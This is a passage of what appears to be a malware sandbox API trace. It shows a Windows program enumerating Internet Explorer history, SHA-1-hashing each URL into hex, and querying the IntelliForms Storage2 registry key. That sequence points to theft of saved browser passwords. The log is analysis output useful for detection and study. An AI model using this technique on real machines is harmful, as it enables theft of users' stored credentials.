(lpString="B2") returned 2 [0097.333] lstrlenW (lpString="8F") returned 2 [0097.333] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7540 [0097.333] lstrcpyW (in: lpString1=0x28c7540, lpString2="B2" | out: lpString1="B2") returned="B2" [0097.333] lstrcatW (in: lpString1="B2", lpString2="8F" | out: lpString1="B28F") returned="B28F" [0097.333] LocalFree (hMem=0x7187650) returned 0x0 [0097.333] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0097.333] lstrlenW (lpString="B28F") returned 4 [0097.333] lstrlenW (lpString="74") returned 2 [0097.333] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c48e0 [0097.333] lstrcpyW (in: lpString1=0x28c48e0, lpString2="B28F" | out: lpString1="B28F") returned="B28F" [0097.334] lstrcatW (in: lpString1="B28F", lpString2="74" | out: lpString1="B28F74") returned="B28F74" [0097.334] LocalFree (hMem=0x28c7540) returned 0x0 [0097.334] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.334] lstrlenW (lpString="B28F74") returned 6 [0097.334] lstrlenW (lpString="40") returned 2 [0097.334] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7540 [0097.334] lstrcpyW (in: lpString1=0x28c7540, lpString2="B28F74" | out: lpString1="B28F74") returned="B28F74" [0097.334] lstrcatW (in: lpString1="B28F74", lpString2="40" | out: lpString1="B28F7440") returned="B28F7440" [0097.334] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.334] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0097.334] lstrlenW (lpString="B28F7440") returned 8 [0097.334] lstrlenW (lpString="02") returned 2 [0097.334] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c48e0 [0097.334] lstrcpyW (in: lpString1=0x28c48e0, lpString2="B28F7440" | out: lpString1="B28F7440") returned="B28F7440" [0097.334] lstrcatW (in: lpString1="B28F7440", lpString2="02" | out: lpString1="B28F744002") returned="B28F744002" [0097.334] LocalFree (hMem=0x28c7540) returned 0x0 [0097.334] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2B") returned 2 [0097.334] lstrlenW (lpString="B28F744002") returned 10 [0097.334] lstrlenW (lpString="2B") returned 2 [0097.334] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf5c0 [0097.334] lstrcpyW (in: lpString1=0x71cf5c0, lpString2="B28F744002" | out: lpString1="B28F744002") returned="B28F744002" [0097.334] lstrcatW (in: lpString1="B28F744002", lpString2="2B" | out: lpString1="B28F7440022B") returned="B28F7440022B" [0097.334] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.334] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="47") returned 2 [0097.334] lstrlenW (lpString="B28F7440022B") returned 12 [0097.334] lstrlenW (lpString="47") returned 2 [0097.334] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf510 [0097.334] lstrcpyW (in: lpString1=0x71cf510, lpString2="B28F7440022B" | out: lpString1="B28F7440022B") returned="B28F7440022B" [0097.334] lstrcatW (in: lpString1="B28F7440022B", lpString2="47" | out: lpString1="B28F7440022B47") returned="B28F7440022B47" [0097.334] LocalFree (hMem=0x71cf5c0) returned 0x0 [0097.334] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.334] lstrlenW (lpString="B28F7440022B47") returned 14 [0097.334] lstrlenW (lpString="A2") returned 2 [0097.334] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf5c0 [0097.334] lstrcpyW (in: lpString1=0x71cf5c0, lpString2="B28F7440022B47" | out: lpString1="B28F7440022B47") returned="B28F7440022B47" [0097.334] lstrcatW (in: lpString1="B28F7440022B47", lpString2="A2" | out: lpString1="B28F7440022B47A2") returned="B28F7440022B47A2" [0097.334] LocalFree (hMem=0x71cf510) returned 0x0 [0097.335] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="18") returned 2 [0097.335] lstrlenW (lpString="B28F7440022B47A2") returned 16 [0097.335] lstrlenW (lpString="18") returned 2 [0097.335] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf510 [0097.335] lstrcpyW (in: lpString1=0x71cf510, lpString2="B28F7440022B47A2" | out: lpString1="B28F7440022B47A2") returned="B28F7440022B47A2" [0097.335] lstrcatW (in: lpString1="B28F7440022B47A2", lpString2="18" | out: lpString1="B28F7440022B47A218") returned="B28F7440022B47A218" [0097.335] LocalFree (hMem=0x71cf5c0) returned 0x0 [0097.335] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.335] lstrlenW (lpString="B28F7440022B47A218") returned 18 [0097.335] lstrlenW (lpString="91") returned 2 [0097.335] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.335] lstrcpyW (in: lpString1=0x72912f0, lpString2="B28F7440022B47A218" | out: lpString1="B28F7440022B47A218") returned="B28F7440022B47A218" [0097.335] lstrcatW (in: lpString1="B28F7440022B47A218", lpString2="91" | out: lpString1="B28F7440022B47A21891") returned="B28F7440022B47A21891" [0097.335] LocalFree (hMem=0x71cf510) returned 0x0 [0097.335] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8B") returned 2 [0097.335] lstrlenW (lpString="B28F7440022B47A21891") returned 20 [0097.335] lstrlenW (lpString="8B") returned 2 [0097.335] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.335] lstrcpyW (in: lpString1=0x7290b70, lpString2="B28F7440022B47A21891" | out: lpString1="B28F7440022B47A21891") returned="B28F7440022B47A21891" [0097.335] lstrcatW (in: lpString1="B28F7440022B47A21891", lpString2="8B" | out: lpString1="B28F7440022B47A218918B") returned="B28F7440022B47A218918B" [0097.335] LocalFree (hMem=0x72912f0) returned 0x0 [0097.335] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7B") returned 2 [0097.335] lstrlenW (lpString="B28F7440022B47A218918B") returned 22 [0097.335] lstrlenW (lpString="7B") returned 2 [0097.335] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.335] lstrcpyW (in: lpString1=0x72912f0, lpString2="B28F7440022B47A218918B" | out: lpString1="B28F7440022B47A218918B") returned="B28F7440022B47A218918B" [0097.335] lstrcatW (in: lpString1="B28F7440022B47A218918B", lpString2="7B" | out: lpString1="B28F7440022B47A218918B7B") returned="B28F7440022B47A218918B7B" [0097.335] LocalFree (hMem=0x7290b70) returned 0x0 [0097.335] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0E") returned 2 [0097.335] lstrlenW (lpString="B28F7440022B47A218918B7B") returned 24 [0097.335] lstrlenW (lpString="0E") returned 2 [0097.335] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.335] lstrcpyW (in: lpString1=0x7290b70, lpString2="B28F7440022B47A218918B7B" | out: lpString1="B28F7440022B47A218918B7B") returned="B28F7440022B47A218918B7B" [0097.335] lstrcatW (in: lpString1="B28F7440022B47A218918B7B", lpString2="0E" | out: lpString1="B28F7440022B47A218918B7B0E") returned="B28F7440022B47A218918B7B0E" [0097.335] LocalFree (hMem=0x72912f0) returned 0x0 [0097.335] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0097.335] lstrlenW (lpString="B28F7440022B47A218918B7B0E") returned 26 [0097.335] lstrlenW (lpString="9A") returned 2 [0097.336] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.336] lstrcpyW (in: lpString1=0x2815670, lpString2="B28F7440022B47A218918B7B0E" | out: lpString1="B28F7440022B47A218918B7B0E") returned="B28F7440022B47A218918B7B0E" [0097.336] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E", lpString2="9A" | out: lpString1="B28F7440022B47A218918B7B0E9A") returned="B28F7440022B47A218918B7B0E9A" [0097.336] LocalFree (hMem=0x7290b70) returned 0x0 [0097.336] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0E") returned 2 [0097.336] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A") returned 28 [0097.336] lstrlenW (lpString="0E") returned 2 [0097.336] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.336] lstrcpyW (in: lpString1=0x2815a80, lpString2="B28F7440022B47A218918B7B0E9A" | out: lpString1="B28F7440022B47A218918B7B0E9A") returned="B28F7440022B47A218918B7B0E9A" [0097.336] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A", lpString2="0E" | out: lpString1="B28F7440022B47A218918B7B0E9A0E") returned="B28F7440022B47A218918B7B0E9A0E" [0097.336] LocalFree (hMem=0x2815670) returned 0x0 [0097.336] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="19") returned 2 [0097.336] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A0E") returned 30 [0097.336] lstrlenW (lpString="19") returned 2 [0097.336] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.336] lstrcpyW (in: lpString1=0x2815670, lpString2="B28F7440022B47A218918B7B0E9A0E" | out: lpString1="B28F7440022B47A218918B7B0E9A0E") returned="B28F7440022B47A218918B7B0E9A0E" [0097.336] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A0E", lpString2="19" | out: lpString1="B28F7440022B47A218918B7B0E9A0E19") returned="B28F7440022B47A218918B7B0E9A0E19" [0097.336] LocalFree (hMem=0x2815a80) returned 0x0 [0097.336] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="68") returned 2 [0097.336] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A0E19") returned 32 [0097.336] lstrlenW (lpString="68") returned 2 [0097.336] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.336] lstrcpyW (in: lpString1=0x2815a80, lpString2="B28F7440022B47A218918B7B0E9A0E19" | out: lpString1="B28F7440022B47A218918B7B0E9A0E19") returned="B28F7440022B47A218918B7B0E9A0E19" [0097.336] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A0E19", lpString2="68" | out: lpString1="B28F7440022B47A218918B7B0E9A0E1968") returned="B28F7440022B47A218918B7B0E9A0E1968" [0097.336] LocalFree (hMem=0x2815670) returned 0x0 [0097.336] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.336] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A0E1968") returned 34 [0097.336] lstrlenW (lpString="35") returned 2 [0097.336] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.336] lstrcpyW (in: lpString1=0x28e7670, lpString2="B28F7440022B47A218918B7B0E9A0E1968" | out: lpString1="B28F7440022B47A218918B7B0E9A0E1968") returned="B28F7440022B47A218918B7B0E9A0E1968" [0097.336] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A0E1968", lpString2="35" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835") returned="B28F7440022B47A218918B7B0E9A0E196835" [0097.336] LocalFree (hMem=0x2815a80) returned 0x0 [0097.336] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0097.336] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A0E196835") returned 36 [0097.336] lstrlenW (lpString="E5") returned 2 [0097.336] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.336] lstrcpyW (in: lpString1=0x28e7910, lpString2="B28F7440022B47A218918B7B0E9A0E196835" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835") returned="B28F7440022B47A218918B7B0E9A0E196835" [0097.337] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A0E196835", lpString2="E5" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835E5") returned="B28F7440022B47A218918B7B0E9A0E196835E5" [0097.337] LocalFree (hMem=0x28e7670) returned 0x0 [0097.337] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0097.337] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A0E196835E5") returned 38 [0097.337] lstrlenW (lpString="15") returned 2 [0097.337] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.337] lstrcpyW (in: lpString1=0x28e7670, lpString2="B28F7440022B47A218918B7B0E9A0E196835E5" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835E5") returned="B28F7440022B47A218918B7B0E9A0E196835E5" [0097.337] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A0E196835E5", lpString2="15" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835E515") returned="B28F7440022B47A218918B7B0E9A0E196835E515" [0097.337] LocalFree (hMem=0x28e7910) returned 0x0 [0097.337] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="20") returned 2 [0097.337] lstrlenW (lpString="B28F7440022B47A218918B7B0E9A0E196835E515") returned 40 [0097.337] lstrlenW (lpString="20") returned 2 [0097.337] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.337] lstrcpyW (in: lpString1=0x28e7910, lpString2="B28F7440022B47A218918B7B0E9A0E196835E515" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835E515") returned="B28F7440022B47A218918B7B0E9A0E196835E515" [0097.337] lstrcatW (in: lpString1="B28F7440022B47A218918B7B0E9A0E196835E515", lpString2="20" | out: lpString1="B28F7440022B47A218918B7B0E9A0E196835E51520") returned="B28F7440022B47A218918B7B0E9A0E196835E51520" [0097.337] LocalFree (hMem=0x28e7670) returned 0x0 [0097.337] CryptDestroyHash (hHash=0x4469bd0) returned 1 [0097.337] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.337] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.337] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.337] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.337] LocalFree (hMem=0x28e7910) returned 0x0 [0097.337] CoTaskMemFree (pv=0x71cf670) [0097.337] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.337] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/gCHHeDPHfckaHd%20mlGMq.flv", lpSrch="?") returned 0x0 [0097.337] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.338] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.338] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/gCHHeDPHfckaHd%20mlGMq.flv") returned 60 [0097.338] CryptHashData (hHash=0x4469bd0, pbData=0x7187650, dwDataLen=0x7a, dwFlags=0x0) returned 1 [0097.338] CryptGetHashParam (in: hHash=0x4469bd0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.338] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B0") returned 2 [0097.338] lstrlenW (lpString="") returned 0 [0097.338] lstrlenW (lpString="B0") returned 2 [0097.338] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7185be0 [0097.338] lstrcpyW (in: lpString1=0x7185be0, lpString2="" | out: lpString1="") returned="" [0097.338] lstrcatW (in: lpString1="", lpString2="B0" | out: lpString1="B0") returned="B0" [0097.338] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="11") returned 2 [0097.338] lstrlenW (lpString="B0") returned 2 [0097.338] lstrlenW (lpString="11") returned 2 [0097.338] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c48e0 [0097.338] lstrcpyW (in: lpString1=0x28c48e0, lpString2="B0" | out: lpString1="B0") returned="B0" [0097.338] lstrcatW (in: lpString1="B0", lpString2="11" | out: lpString1="B011") returned="B011" [0097.338] LocalFree (hMem=0x7185be0) returned 0x0 [0097.338] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B2") returned 2 [0097.338] lstrlenW (lpString="B011") returned 4 [0097.338] lstrlenW (lpString="B2") returned 2 [0097.339] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7540 [0097.339] lstrcpyW (in: lpString1=0x28c7540, lpString2="B011" | out: lpString1="B011") returned="B011" [0097.339] lstrcatW (in: lpString1="B011", lpString2="B2" | out: lpString1="B011B2") returned="B011B2" [0097.339] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.339] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="97") returned 2 [0097.339] lstrlenW (lpString="B011B2") returned 6 [0097.339] lstrlenW (lpString="97") returned 2 [0097.339] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c48e0 [0097.339] lstrcpyW (in: lpString1=0x28c48e0, lpString2="B011B2" | out: lpString1="B011B2") returned="B011B2" [0097.339] lstrcatW (in: lpString1="B011B2", lpString2="97" | out: lpString1="B011B297") returned="B011B297" [0097.339] LocalFree (hMem=0x28c7540) returned 0x0 [0097.339] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C8") returned 2 [0097.339] lstrlenW (lpString="B011B297") returned 8 [0097.339] lstrlenW (lpString="C8") returned 2 [0097.339] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7540 [0097.339] lstrcpyW (in: lpString1=0x28c7540, lpString2="B011B297" | out: lpString1="B011B297") returned="B011B297" [0097.339] lstrcatW (in: lpString1="B011B297", lpString2="C8" | out: lpString1="B011B297C8") returned="B011B297C8" [0097.339] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.339] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8A") returned 2 [0097.339] lstrlenW (lpString="B011B297C8") returned 10 [0097.339] lstrlenW (lpString="8A") returned 2 [0097.339] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf670 [0097.339] lstrcpyW (in: lpString1=0x71cf670, lpString2="B011B297C8" | out: lpString1="B011B297C8") returned="B011B297C8" [0097.339] lstrcatW (in: lpString1="B011B297C8", lpString2="8A" | out: lpString1="B011B297C88A") returned="B011B297C88A" [0097.339] LocalFree (hMem=0x28c7540) returned 0x0 [0097.339] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BC") returned 2 [0097.339] lstrlenW (lpString="B011B297C88A") returned 12 [0097.339] lstrlenW (lpString="BC") returned 2 [0097.339] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf510 [0097.339] lstrcpyW (in: lpString1=0x71cf510, lpString2="B011B297C88A" | out: lpString1="B011B297C88A") returned="B011B297C88A" [0097.339] lstrcatW (in: lpString1="B011B297C88A", lpString2="BC" | out: lpString1="B011B297C88ABC") returned="B011B297C88ABC" [0097.339] LocalFree (hMem=0x71cf670) returned 0x0 [0097.339] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.339] lstrlenW (lpString="B011B297C88ABC") returned 14 [0097.339] lstrlenW (lpString="40") returned 2 [0097.339] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf670 [0097.340] lstrcpyW (in: lpString1=0x71cf670, lpString2="B011B297C88ABC" | out: lpString1="B011B297C88ABC") returned="B011B297C88ABC" [0097.340] lstrcatW (in: lpString1="B011B297C88ABC", lpString2="40" | out: lpString1="B011B297C88ABC40") returned="B011B297C88ABC40" [0097.340] LocalFree (hMem=0x71cf510) returned 0x0 [0097.340] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0097.340] lstrlenW (lpString="B011B297C88ABC40") returned 16 [0097.340] lstrlenW (lpString="5E") returned 2 [0097.340] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf510 [0097.340] lstrcpyW (in: lpString1=0x71cf510, lpString2="B011B297C88ABC40" | out: lpString1="B011B297C88ABC40") returned="B011B297C88ABC40" [0097.340] lstrcatW (in: lpString1="B011B297C88ABC40", lpString2="5E" | out: lpString1="B011B297C88ABC405E") returned="B011B297C88ABC405E" [0097.340] LocalFree (hMem=0x71cf670) returned 0x0 [0097.340] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="32") returned 2 [0097.340] lstrlenW (lpString="B011B297C88ABC405E") returned 18 [0097.340] lstrlenW (lpString="32") returned 2 [0097.340] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.340] lstrcpyW (in: lpString1=0x7290b70, lpString2="B011B297C88ABC405E" | out: lpString1="B011B297C88ABC405E") returned="B011B297C88ABC405E" [0097.340] lstrcatW (in: lpString1="B011B297C88ABC405E", lpString2="32" | out: lpString1="B011B297C88ABC405E32") returned="B011B297C88ABC405E32" [0097.340] LocalFree (hMem=0x71cf510) returned 0x0 [0097.340] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.340] lstrlenW (lpString="B011B297C88ABC405E32") returned 20 [0097.340] lstrlenW (lpString="12") returned 2 [0097.340] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.340] lstrcpyW (in: lpString1=0x72912f0, lpString2="B011B297C88ABC405E32" | out: lpString1="B011B297C88ABC405E32") returned="B011B297C88ABC405E32" [0097.340] lstrcatW (in: lpString1="B011B297C88ABC405E32", lpString2="12" | out: lpString1="B011B297C88ABC405E3212") returned="B011B297C88ABC405E3212" [0097.340] LocalFree (hMem=0x7290b70) returned 0x0 [0097.340] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0A") returned 2 [0097.340] lstrlenW (lpString="B011B297C88ABC405E3212") returned 22 [0097.340] lstrlenW (lpString="0A") returned 2 [0097.340] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.340] lstrcpyW (in: lpString1=0x7290b70, lpString2="B011B297C88ABC405E3212" | out: lpString1="B011B297C88ABC405E3212") returned="B011B297C88ABC405E3212" [0097.340] lstrcatW (in: lpString1="B011B297C88ABC405E3212", lpString2="0A" | out: lpString1="B011B297C88ABC405E32120A") returned="B011B297C88ABC405E32120A" [0097.340] LocalFree (hMem=0x72912f0) returned 0x0 [0097.340] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0097.340] lstrlenW (lpString="B011B297C88ABC405E32120A") returned 24 [0097.340] lstrlenW (lpString="7D") returned 2 [0097.340] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.340] lstrcpyW (in: lpString1=0x72912f0, lpString2="B011B297C88ABC405E32120A" | out: lpString1="B011B297C88ABC405E32120A") returned="B011B297C88ABC405E32120A" [0097.340] lstrcatW (in: lpString1="B011B297C88ABC405E32120A", lpString2="7D" | out: lpString1="B011B297C88ABC405E32120A7D") returned="B011B297C88ABC405E32120A7D" [0097.341] LocalFree (hMem=0x7290b70) returned 0x0 [0097.341] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.341] lstrlenW (lpString="B011B297C88ABC405E32120A7D") returned 26 [0097.341] lstrlenW (lpString="12") returned 2 [0097.341] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.341] lstrcpyW (in: lpString1=0x2815a80, lpString2="B011B297C88ABC405E32120A7D" | out: lpString1="B011B297C88ABC405E32120A7D") returned="B011B297C88ABC405E32120A7D" [0097.341] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D", lpString2="12" | out: lpString1="B011B297C88ABC405E32120A7D12") returned="B011B297C88ABC405E32120A7D12" [0097.341] LocalFree (hMem=0x72912f0) returned 0x0 [0097.341] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.341] lstrlenW (lpString="B011B297C88ABC405E32120A7D12") returned 28 [0097.341] lstrlenW (lpString="40") returned 2 [0097.341] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.341] lstrcpyW (in: lpString1=0x2815670, lpString2="B011B297C88ABC405E32120A7D12" | out: lpString1="B011B297C88ABC405E32120A7D12") returned="B011B297C88ABC405E32120A7D12" [0097.341] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D12", lpString2="40" | out: lpString1="B011B297C88ABC405E32120A7D1240") returned="B011B297C88ABC405E32120A7D1240" [0097.341] LocalFree (hMem=0x2815a80) returned 0x0 [0097.341] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.341] lstrlenW (lpString="B011B297C88ABC405E32120A7D1240") returned 30 [0097.341] lstrlenW (lpString="0D") returned 2 [0097.341] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.341] lstrcpyW (in: lpString1=0x2815a80, lpString2="B011B297C88ABC405E32120A7D1240" | out: lpString1="B011B297C88ABC405E32120A7D1240") returned="B011B297C88ABC405E32120A7D1240" [0097.341] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D1240", lpString2="0D" | out: lpString1="B011B297C88ABC405E32120A7D12400D") returned="B011B297C88ABC405E32120A7D12400D" [0097.341] LocalFree (hMem=0x2815670) returned 0x0 [0097.341] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0097.341] lstrlenW (lpString="B011B297C88ABC405E32120A7D12400D") returned 32 [0097.341] lstrlenW (lpString="CE") returned 2 [0097.341] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.341] lstrcpyW (in: lpString1=0x2815670, lpString2="B011B297C88ABC405E32120A7D12400D" | out: lpString1="B011B297C88ABC405E32120A7D12400D") returned="B011B297C88ABC405E32120A7D12400D" [0097.341] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D12400D", lpString2="CE" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE") returned="B011B297C88ABC405E32120A7D12400DCE" [0097.341] LocalFree (hMem=0x2815a80) returned 0x0 [0097.341] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="13") returned 2 [0097.341] lstrlenW (lpString="B011B297C88ABC405E32120A7D12400DCE") returned 34 [0097.341] lstrlenW (lpString="13") returned 2 [0097.341] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.341] lstrcpyW (in: lpString1=0x28e7910, 